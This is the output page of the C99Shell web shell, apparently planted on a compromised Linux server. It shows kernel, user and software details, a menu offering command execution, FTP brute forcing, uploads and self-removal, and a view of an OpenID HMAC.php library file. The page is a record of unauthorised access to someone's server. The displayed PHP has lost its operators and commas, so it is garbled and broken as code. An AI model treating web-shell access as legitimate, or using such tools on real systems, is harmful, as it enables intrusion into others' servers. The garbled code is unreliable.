!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/3ros/simplesamlphp/lib/Auth/OpenID/   drwxrwxr-x
Free 13.77 GB of 61.93 GB (22.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     HMAC.php (2.87 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This is the HMACSHA1 implementation for the OpenID library.
 *
 * PHP versions 4 and 5
 *
 * LICENSE: See the COPYING file included in this distribution.
 *
 * @access private
 * @package OpenID
 * @author JanRain, Inc. <openid@janrain.com>
 * @copyright 2005-2008 Janrain, Inc.
 * @license http://www.apache.org/licenses/LICENSE-2.0 Apache
 */

require_once 'Auth/OpenID.php';

/**
 * SHA1_BLOCKSIZE is this module's SHA1 blocksize used by the fallback
 * implementation.
 */
define('Auth_OpenID_SHA1_BLOCKSIZE'64);

function 
Auth_OpenID_SHA1($text)
{
    if (
function_exists('hash') &&
        
function_exists('hash_algos') &&
        (
in_array('sha1'hash_algos()))) {
        
// PHP 5 case (sometimes): 'hash' available and 'sha1' algo
        // supported.
        
return hash('sha1'$texttrue);
    } else if (
function_exists('sha1')) {
        
// PHP 4 case: 'sha1' available.
        
$hex sha1($text);
        
$raw '';
        for (
$i 0$i 40$i += 2) {
            
$hexcode substr($hex$i2);
            
$charcode = (int)base_convert($hexcode1610);
            
$raw .= chr($charcode);
        }
        return 
$raw;
    } else {
        
// Explode.
        
trigger_error('No SHA1 function found'E_USER_ERROR);
    }
}

/**
 * Compute an HMAC/SHA1 hash.
 *
 * @access private
 * @param string $key The HMAC key
 * @param string $text The message text to hash
 * @return string $mac The MAC
 */
function Auth_OpenID_HMACSHA1($key$text)
{
    if (
Auth_OpenID::bytes($key) > Auth_OpenID_SHA1_BLOCKSIZE) {
        
$key Auth_OpenID_SHA1($keytrue);
    }

    if (
function_exists('hash_hmac') &&
        
function_exists('hash_algos') &&
        (
in_array('sha1'hash_algos()))) {
        return 
hash_hmac('sha1'$text$keytrue);
    }
    
// Home-made solution

    
$key str_pad($keyAuth_OpenID_SHA1_BLOCKSIZEchr(0x00));
    
$ipad str_repeat(chr(0x36), Auth_OpenID_SHA1_BLOCKSIZE);
    
$opad str_repeat(chr(0x5c), Auth_OpenID_SHA1_BLOCKSIZE);
    
$hash1 Auth_OpenID_SHA1(($key $ipad) . $texttrue);
    
$hmac Auth_OpenID_SHA1(($key $opad) . $hash1true);
    return 
$hmac;
}

if (
function_exists('hash') &&
    
function_exists('hash_algos') &&
    (
in_array('sha256'hash_algos()))) {
    function 
Auth_OpenID_SHA256($text)
    {
        
// PHP 5 case: 'hash' available and 'sha256' algo supported.
        
return hash('sha256'$texttrue);
    }
    
define('Auth_OpenID_SHA256_SUPPORTED'true);
} else {
    
define('Auth_OpenID_SHA256_SUPPORTED'false);
}

if (
function_exists('hash_hmac') &&
    
function_exists('hash_algos') &&
    (
in_array('sha256'hash_algos()))) {

    function 
Auth_OpenID_HMACSHA256($key$text)
    {
        
// Return raw MAC (not hex string).
        
return hash_hmac('sha256'$text$keytrue);
    }

    
define('Auth_OpenID_HMACSHA256_SUPPORTED'true);
} else {
    
define('Auth_OpenID_HMACSHA256_SUPPORTED'false);
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4845 ]--